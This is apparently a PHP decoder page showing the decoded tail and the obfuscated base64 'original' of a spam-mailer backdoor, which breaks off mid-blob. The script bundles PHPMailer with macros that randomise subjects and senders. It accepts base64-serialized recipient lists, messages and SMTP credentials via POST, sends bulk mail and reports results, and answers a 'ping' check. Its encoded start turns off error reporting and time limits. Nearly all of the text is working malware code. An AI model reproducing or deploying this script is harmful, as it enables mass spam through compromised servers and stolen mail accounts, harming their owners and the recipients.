return trim(str_replace(array("
", "
"), '', $str));
}
public static function NormalizeBreaks($text, $breaktype = "
") {
return preg_replace('/(
|
|
)/ms', $breaktype, $text);
}
public function Sign($cert_filename, $key_filename, $key_pass) {
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
public function DKIM_QP($txt) {
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if ( ((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E)) ) {
$line .= $txt[$i];
} else {
$line .= "=".sprintf("%02X", $ord);
}
}
return $line;
}
public function DKIM_Sign($s) {
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->Lang("signing").' OpenSSL extension missing.');
}
return '';
}
$privKeyStr = file_get_contents($this->DKIM_private);
if ($this->DKIM_passphrase != '') {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = $privKeyStr;
}
if (openssl_sign($s, $signature, $privKey)) {
return base64_encode($signature);
}
return '';
}
public function DKIM_HeaderC($s) {
$s = preg_replace("/
\s+/", " ", $s);
$lines = explode("
", $s);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(":", $line, 2);
$heading = strtolower($heading);
$value = preg_replace("/\s+/", " ", $value) ; // Compress useless spaces
$lines[$key] = $heading.":".trim($value) ; // Don't forget to remove WSP around the value
}
$s = implode("
", $lines);
return $s;
}
public function DKIM_BodyC($body) {
if ($body == '') return "
";
$body = str_replace("
", "
", $body);
$body = str_replace("
", "
", $body);
while (substr($body, strlen($body) - 4, 4) == "
") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
public function DKIM_Add($headers_line, $subject, $body) {
$DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time() ; // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$current = '';
foreach($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} else {
if($current && strpos($header, ' =?') === 0){
$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)) ; // Copied header fields (dkim-quoted-printable
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body) ; // Length of body
$DKIMb64 = base64_encode(pack("H*", sha1($body))) ; // Base64 of packed binary SHA-1 hash of body
$ident = ($this->DKIM_identity == '')? '' : " i=" . $this->DKIM_identity . ";";
$dkimhdrs = "DKIM-Signature: v=1; a=" . $DKIMsignatureType . "; q=" . $DKIMquery . "; l=" . $DKIMlen . "; s=" . $this->DKIM_selector . ";
".
" t=" . $DKIMtime . "; c=" . $DKIMcanonicalization . ";
".
" h=From:To:Subject;
".
" d=" . $this->DKIM_domain . ";" . $ident . "
".
" z=$from
".
" |$to
".
" |$subject;
".
" bh=" . $DKIMb64 . ";
".
" b=";
$toSign = $this->DKIM_HeaderC($from_header . "
" . $to_header . "
" . $subject_header . "
" . $dkimhdrs);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs.$signed."
";
}
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from = null) {
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
class phpmailerException extends Exception {
public function errorMessage() {
$errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
";
return $errorMsg;
}
}
// macroces /////////////////////////////////////////////////////////
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];
$word = generate_word($count);
$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}
function pass_macros($content, $passes)
{
$pass = array_pop($passes);
return str_replace("[PASS]", $pass, $content);
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
/////////////////////////////////////////////////////////////////
function sendSmtpMail( $host, $port, $login, $pass, $from, $name, $to, $subject, $body )
{
try
{
$mail = new PHPMailer(true);
$mail->IsSMTP();
$mail->Host = $host;
$mail->Port = $port;
if ($port == 587)
{
$mail->SMTPSecure = 'tls';
}
elseif($port == 465)
{
$mail->SMTPSecure = 'ssl';
}
$mail->SMTPAuth = true;
$mail->Username = $login;
$mail->Password = $pass;
$mail->SetFrom($from, $name);
$mail->AddReplyTo($from, $name);
$mail->AddAddress($to);
$mail->Subject = $subject;
$mail->MsgHTML($body);
if (!$mail->send())
{
return $mail->ErrorInfo;
}
else
{
return 0;
}
} catch (Exception $e)
{
return $mail->ErrorInfo;
}
}
if (isset($_POST["ping"]))
{
echo $_POST["ping"];
exit();
}
if (!isset($_POST["emails"]) or !isset($_POST["themes"]) or !isset($_POST["messages"]) or !isset($_POST["froms"]) or !isset($_POST["acc"]))
{
exit();
}
$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$message = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$acc = @unserialize(base64_decode($_POST["acc"]));
$good = 0;
$bad = 0;
$last_error = 0;
foreach ($emails as $uid=>$email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);
$message = alter_macros($message);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
$message = fteil_macros($message, $uid);
$from = $froms[array_rand($froms)];
$from = alter_macros($from);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);
$last_error = sendSmtpMail( $acc[0], $acc[1], $acc[2], $acc[3], $acc[4], $from, $email, $theme, $message);
if ($last_error === 0)
{
$good++;
}
else
{
$bad++;
$good = count($emails) - $bad;
break;
}
}
$res["result"]["error_text"] = $last_error === FALSE ? 0 : $last_error;
$res["result"]["good"] = $good;
$res["result"]["bad"] = $bad;
$res["result"]["check"] = 1;
echo base64_encode(serialize($res));
exit();
Did this file decode correctly?
Original Code
<?php eval(base64_decode('QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CgppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNS4wLjAnLCAnPCcpICkgewogICRyZXMgPSBBcnJheSgpOwogICRyZXNbInJlc3VsdCJdWyJjaGVjayJdID0gMDsKICBlY2hvIGJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRyZXMpKTsKfQoKZnVuY3Rpb24gY3VzdG9tX3N0cmlwX3RhZ3MoJHRleHQpCnsKICAgICR0ZXh0ID0gc3RyaXBfdGFncygkdGV4dCwgJzxhPicpOwoKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIjxhIGhyZWY9XCIiLCAiWyAiLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCI8L2E+IiwgIiIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlwiPiIsICIgXSAiLCAkdGV4dCk7CgogICAgcmV0dXJuICR0ZXh0Owp9CgpjbGFzcyBTTVRQIHsKICBwdWJsaWMgJFNNVFBfUE9SVCA9IDI1OwogIHB1YmxpYyAkQ1JMRiA9ICJcclxuIjsKICBwdWJsaWMgJGRvX2RlYnVnID0gMDsKICBwdWJsaWMgJERlYnVnb3V0cHV0ICAgICA9ICdlY2hvJzsKICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKICBwdWJsaWMgJFRpbWVvdXQgICAgICAgICA9IDE1OwogIHB1YmxpYyAkVGltZWxpbWl0ICAgICAgID0gMzA7CiAgcHVibGljICRWZXJzaW9uICAgICAgICAgPSAnNS4yLjYnOwogIHByb3RlY3RlZCAkc210cF9jb25uOwogIHByb3RlY3RlZCAkZXJyb3I7CiAgcHJvdGVjdGVkICRoZWxvX3JwbHk7CiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKSB7CiAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgIGVycm9yX2xvZygkc3RyKTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgZWNobyBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJHN0ciksIEVOVF9RVU9URVMsICdVVEYtOCcpLiI8YnI+XG4iOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdlY2hvJzoKICAgICAgZGVmYXVsdDoKICAgICAgICBlY2hvICRzdHI7CiAgICB9CiAgfQogIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsKICAgICR0aGlzLT5zbXRwX2Nvbm4gPSAwOwogICAgJHRoaXMtPmVycm9yID0gbnVsbDsKICAgICR0aGlzLT5oZWxvX3JwbHkgPSBudWxsOwoKICAgICR0aGlzLT5kb19kZWJ1ZyA9IDA7CiAgfQogIHB1YmxpYyBmdW5jdGlvbiBDb25uZWN0KCRob3N0LCAkcG9ydCA9IDAsICR0aW1lb3V0ID0gMzAsICRvcHRpb25zID0gYXJyYXkoKSkgewogICAgJHRoaXMtPmVycm9yID0gbnVsbDsKICAgIGlmKCR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdBbHJlYWR5IGNvbm5lY3RlZCB0byBhIHNlcnZlcicpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgoJaWYoZW1wdHkoJHBvcnQpKSB7CiAgICAgICRwb3J0ID0gJHRoaXMtPlNNVFBfUE9SVDsKICAgIH0KCiAgICAkZXJybm8gPSAwOwogICAgJGVycnN0ciA9ICcnOwogICAgJHNvY2tldF9jb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsKICAgICR0aGlzLT5zbXRwX2Nvbm4gPSBAc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3QuIjoiLiRwb3J0LCAkZXJybm8sICRlcnJzdHIsICR0aW1lb3V0LCBTVFJFQU1fQ0xJRU5UX0NPTk5FQ1QsICRzb2NrZXRfY29udGV4dCk7CgogICAgaWYoZW1wdHkoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHRoaXMtPmVycm9yID0gYXJyYXkoJ2Vycm9yJyA9PiAnRmFpbGVkIHRvIGNvbm5lY3QgdG8gc2VydmVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2Vycm5vJyA9PiAkZXJybm8sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJzdHInID0+ICRlcnJzdHIpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAiOiAkZXJyc3RyICgkZXJybm8pIik7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGlmKHN1YnN0cihQSFBfT1MsIDAsIDMpICE9ICdXSU4nKSB7CiAgICAgICRtYXggPSBpbmlfZ2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnKTsKICAgICAgaWYgKCRtYXggIT0gMCAmJiAkdGltZW91dCA+ICRtYXgpIHsgLy8gRG9uJ3QgYm90aGVyIGlmIHVubGltaXRlZAogICAgICAgIEBzZXRfdGltZV9saW1pdCgkdGltZW91dCk7CiAgICAgIH0KICAgICAgc3RyZWFtX3NldF90aW1lb3V0KCR0aGlzLT5zbXRwX2Nvbm4sICR0aW1lb3V0LCAwKTsKICAgIH0KCiAgICAkYW5ub3VuY2UgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJGFubm91bmNlKTsKICAgIH0KCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTdGFydFRMUygpIHsKICAgICR0aGlzLT5lcnJvciA9IG51bGw7ICMgdG8gYXZvaWQgY29uZnVzaW9uCgogICAgaWYoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICdDYWxsZWQgU3RhcnRUTFMoKSB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCcpOwogICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHRoaXMtPmNsaWVudF9zZW5kKCdTVEFSVFRMUycgLiAkdGhpcy0+Q1JMRik7CgogICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDIpIHsKICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBGUk9NIFNFUlZFUjonIC4gJHJwbHkpOwogICAgfQoKICAgIGlmKCRjb2RlICE9IDIyMCkgewogICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICBhcnJheSgnZXJyb3InICAgICA9PiAnU1RBUlRUTFMgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICdzbXRwX21zZycgID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBpZighc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKCR0aGlzLT5zbXRwX2Nvbm4sIHRydWUsIFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU19DTElFTlQpKSB7CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBdXRoZW50aWNhdGUoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRhdXRodHlwZT0nTE9HSU4nLCAkcmVhbG09JycsICR3b3Jrc3RhdGlvbj0nJykgewogICAgaWYgKGVtcHR5KCRhdXRodHlwZSkpIHsKICAgICAgJGF1dGh0eXBlID0gJ0xPR0lOJzsKICAgIH0KCiAgICBzd2l0Y2ggKCRhdXRodHlwZSkgewogICAgICBjYXNlICdQTEFJTic6CiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKCdBVVRIIFBMQUlOJyAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgiXDAiLiR1c2VybmFtZS4iXDAiLiRwYXNzd29yZCkgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdBdXRoZW50aWNhdGlvbiBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgICAgY2FzZSAnTE9HSU4nOgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgnQVVUSCBMT0dJTicgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMzM0KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdBVVRIIG5vdCBhY2NlcHRlZCBmcm9tIHNlcnZlcicsCiAgICAgICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICAgICAnc210cF9tc2cnID0+IHN1YnN0cigkcnBseSwgNCkpOwogICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBFUlJPUjogJyAuICR0aGlzLT5lcnJvclsnZXJyb3InXSAuICc6ICcgLiAkcnBseSk7CiAgICAgICAgICB9CiAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpIC4gJHRoaXMtPkNSTEYpOwoKICAgICAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgICAgIGlmKCRjb2RlICE9IDMzNCkgewogICAgICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnVXNlcm5hbWUgbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZChiYXNlNjRfZW5jb2RlKCRwYXNzd29yZCkgLiAkdGhpcy0+Q1JMRik7CgogICAgICAgICRycGx5ID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICRjb2RlID0gc3Vic3RyKCRycGx5LCAwLCAzKTsKCiAgICAgICAgaWYoJGNvZGUgIT0gMjM1KSB7CiAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICBhcnJheSgnZXJyb3InID0+ICdQYXNzd29yZCBub3QgYWNjZXB0ZWQgZnJvbSBzZXJ2ZXInLAogICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgICAgY2FzZSAnTlRMTSc6CiAgICAgICAgcmVxdWlyZV9vbmNlICdleHRyYXMvbnRsbV9zYXNsX2NsaWVudC5waHAnOwogICAgICAgICR0ZW1wID0gbmV3IHN0ZENsYXNzKCk7CiAgICAgICAgJG50bG1fY2xpZW50ID0gbmV3IG50bG1fc2FzbF9jbGllbnRfY2xhc3M7CiAgICAgICAgaWYoISAkbnRsbV9jbGllbnQtPkluaXRpYWxpemUoJHRlbXApKXsvL2xldCdzIHRlc3QgaWYgZXZlcnkgZnVuY3Rpb24gaXRzIGF2YWlsYWJsZQogICAgICAgICAgICAkdGhpcy0+ZXJyb3IgPSBhcnJheSgnZXJyb3InID0+ICR0ZW1wLT5lcnJvcik7CiAgICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdZb3UgbmVlZCB0byBlbmFibGUgc29tZSBtb2R1bGVzIGluIHlvdXIgcGhwLmluaSBmaWxlOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRtc2cxID0gJG50bG1fY2xpZW50LT5UeXBlTXNnMSgkcmVhbG0sICR3b3Jrc3RhdGlvbik7Ly9tc2cxCgogICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgnQVVUSCBOVExNICcgLiBiYXNlNjRfZW5jb2RlKCRtc2cxKSAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICAgJHRoaXMtPmVycm9yID0KICAgICAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgICAgICdzbXRwX2NvZGUnID0+ICRjb2RlLAogICAgICAgICAgICAgICAgICAgICAgJ3NtdHBfbXNnJyA9PiBzdWJzdHIoJHJwbHksIDQpKTsKICAgICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDEpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ1NNVFAgLT4gRVJST1I6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10gLiAnOiAnIC4gJHJwbHkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgICRjaGFsbGVuZ2UgPSBzdWJzdHIoJHJwbHksIDMpOy8vdGhvdWdoIDAgYmFzZWQsIHRoZXJlIGlzIGEgd2hpdGUgc3BhY2UgYWZ0ZXIgdGhlIDMgZGlnaXQgbnVtYmVyLi4uLi8vbXNnMgogICAgICAgICRjaGFsbGVuZ2UgPSBiYXNlNjRfZGVjb2RlKCRjaGFsbGVuZ2UpOwogICAgICAgICRudGxtX3JlcyA9ICRudGxtX2NsaWVudC0+TlRMTVJlc3BvbnNlKHN1YnN0cigkY2hhbGxlbmdlLCAyNCwgOCksICRwYXNzd29yZCk7CiAgICAgICAgJG1zZzMgPSAkbnRsbV9jbGllbnQtPlR5cGVNc2czKCRudGxtX3JlcywgJHVzZXJuYW1lLCAkcmVhbG0sICR3b3Jrc3RhdGlvbik7Ly9tc2czCiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKGJhc2U2NF9lbmNvZGUoJG1zZzMpIC4gJHRoaXMtPkNSTEYpOwoKICAgICAgICAkcnBseSA9ICR0aGlzLT5nZXRfbGluZXMoKTsKICAgICAgICAkY29kZSA9IHN1YnN0cigkcnBseSwgMCwgMyk7CgogICAgICAgIGlmKCRjb2RlICE9IDIzNSkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3IgPQogICAgICAgICAgICAgICAgYXJyYXkoJ2Vycm9yJyA9PiAnQ291bGQgbm90IGF1dGhlbnRpY2F0ZScsCiAgICAgICAgICAgICAgICAgICAgICAnc210cF9jb2RlJyA9PiAkY29kZSwKICAgICAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICAgIGlmKCR0aGlzLT5kb19kZWJ1ZyA+PSAxKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdDUkFNLU1ENSc6CiAgICAgICAgJHRoaXMtPmNsaWVudF9zZW5kKCdBVVRIIENSQU0tTUQ1JyAuICR0aGlzLT5DUkxGKTsKCiAgICAgICAgJHJwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHJwbHksIDAsIDMpOwoKICAgICAgICBpZigkY29kZSAhPSAzMzQpIHsKICAgICAgICAgICR0aGlzLT5lcnJvciA9CiAgICAgICAgICAgIGFycmF5KCdlcnJvcicgPT4gJ0FVVEggbm90IGFjY2VwdGVkIGZyb20gc2VydmVyJywKICAgICAgICAgICAgICAgICAgJ3NtdHBfY29kZScgPT4gJGNvZGUsCiAgICAgICAgICAgICAgICAgICdzbXRwX21zZycgPT4gc3Vic3RyKCRycGx5LCA0KSk7CiAgICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gMSkgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICRycGx5KTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJGNoYWxsZW5nZSA9IGJhc2U2NF9kZWNv